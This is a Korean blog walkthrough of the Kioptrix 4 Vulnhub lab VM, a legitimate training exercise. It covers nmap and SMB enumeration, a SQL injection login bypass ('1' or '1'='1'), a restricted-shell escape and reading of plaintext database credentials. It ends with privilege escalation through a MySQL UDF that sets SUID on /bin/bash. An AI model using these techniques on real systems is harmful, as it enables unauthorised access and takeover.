https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
kioptrix 4번째 실습입니다. 실습 VM 구축은 이전에 설정하는 것과 똑같이 진행하면 이상없이 IP가 잘 잡힐것입니다.
실습 환경 : VirtualBox
정보 수집
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.140
Host is up (0.00054s latency).
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)
...
└─$ nmap -p- --max-retries 2 --min-rate 2000 -Pn -n --open 192.168.45.140 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:57 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 22.15 seconds
더 자세한 정보 수집을 위해 Nmap 기본 스크립트와 서비스 배너그래빙을 확인한다.
└─$ nmap -p 22,80,139,445 --max-retries 1 --min-rate 1000 -sV -sC -Pn -n --open 192.168.45.140 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:59 KST
Nmap scan report for 192.168.45.140
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2024-06-18T07:12:19-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -18h47m34s, deviation: 2h49m43s, median: -20h47m35s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
22 - openssh 4.7p1
80 - apache httpd 2.2.8
139, 445 - SMB
NetBIOS : KIOPRIX4
Domain name : localdomain
FQDN : Kioptrix4.localdomain
SMB
SMB 관련된 포트가 열려있기 때문에 Nmap SMB 프로토콜 스크립트를 이용해 좀더 자세한 정보 수집을 한다
└─$ sudo nmap -p 445 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.140 -oA smb-445
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 17:03 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)
Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds
크게 특이점은 찾지 못했고, 다른 다양한 툴을 이용하여 SMB 프로토콜에 대한 정보 수집을 더 진행한다
# crackmapexec
└─$ crackmapexec smb 192.168.45.140
SMB 192.168.45.140 445 KIOPTRIX4 [*] Unix (name:KIOPTRIX4) (domain:localdomain) (signing:False) (SMBv1:True)
# smbclient -L
└─$ smbclient -L 192.168.45.140
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP KIOPTRIX4
enum4linux 툴을 이용했을때 그래도 이용할만한 정보를 찾았다
# username
loneferret
john
robert
딱히 외부에서 접근할만한 것은 보이지 않는다
WEB
웹사이트 방문시 로그인 창이 제일 먼저 뜬다. 페이지 소스, robots.txt 는 별다른 특이사항 없다.
gobuster 툴을 이용하여 디렉터리 브루트포싱 진행한다.
각 엔드포인트로 접근 시 별다른 특이사항이 없었고 대부분 index.php로 리디렉션되서 특이점이 없었다.
취약점 진단
#SQL Injection
우선 enum4linux에서 찾은 계정정보를 활용한다 그리고 SQL Injection을 하기 위해서 ' 를 넣어 어떤 결과가 출력되는지 테스트 후에 password에 1' or '1'='1 을 넣어서 로그인을 시도한다.
아주 좋은 에러가 발생했다. 대상 호스트는 MySQL 데이터베이스를 사용하고, 웹사이트 경로까지 파악을 완료했다. /images 엔드포인트가 노출되어있는 걸 봐선 File Upload 를 통해 익스플로잇도 가능할 것으로 예상한다.
# username:password
john:MyNameIsJohn
획득한 것은 john의 계정정보. 이것을 활용하여 SSH 연결을 한다
초기 침투
대상 호스트에 john 계정으로 로그인을 성공했다.
매우 제한적인 아이디 인것 같다. 허용된 경로는 john의 홈디렉터리 밖에 없다. 우선 이 제한될 쉘을 벗어난다
제한된 쉘을 벗어난 이후 웹사이트를 운영중인 경로로 들어가 파일을 열어본다
john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
데이터베이스에 대한 정보가 chechlogin.php 파일에 저장되어있다. 정보를 파악했으니 데이터베이스에 직접 접근한다.
mysql> select * from members;
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
2 rows in set (0.00 sec)
john은 평문화된 비밀번호가 적혀있고 robert도 직접 접속해보니,, 뭔가 인코딩되거나 해시화된 비밀번호가 아닌 저 그대로의 비밀번호를 사용하고 있었다.
robert 계정 장악 완료
권한 상승
뭔가 새로운 방식의 권한 상승이 있을까 하다가 검색을 통해 찾은 MySQL UDF를 악용한 권한 상승입니다.
사용자 정의 함수를 사용하여 mysql을 실행시킨 사용자의 권한으로 명령을 실행 할 수 있는데, UDF가 작동하려면 관리자 권한으로 실행이 되어야하기 때문에 우선 확인을 한다.
john@Kioptrix4:/var/www$ ls -la /usr/lib/lib_mysqludf_sys.so
-rw-rw-rw- 1 root root 12896 2012-02-04 10:08 /usr/lib/lib_mysqludf_sys.so
이 라이브러리는 sys_exec가 사용가능해서 외부 응용프로그램을 시작하는데 사용이 가능하다고 한다.
테스트를 위해서 직접 한번 해보겠다.
test.txt 파일을 만들었는데 만약 성공을 했다면 /dev/shm 디렉터리에 파일이 있을 것이다.
성공을 했다. 그렇다면 이 방법을 이용해 /bin/bash를 SUID 설정을 하여 관리자 권한으로 올라가보자
# 변경 전
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwxr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash
# 변경 후
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash
대상 호스트 장악 완료
'Vulnhub' 카테고리의 다른 글
[Vulnhub] stapler Walkthrough (1) | 2024.06.22 |
---|---|
[Vulnhub] FristiLeaks: 1.3 Walkthrough (0) | 2024.06.20 |
[Vulnhub] Kioptrix_Level_1.2(#3) Walkthrough (0) | 2024.06.18 |
[Vulnhub] Kioptrix_Level_1.1 (#2) Walkthrough (0) | 2024.06.17 |
[Vulnhub] Kioptrix_Level_1 Walkthrough (1) | 2024.06.14 |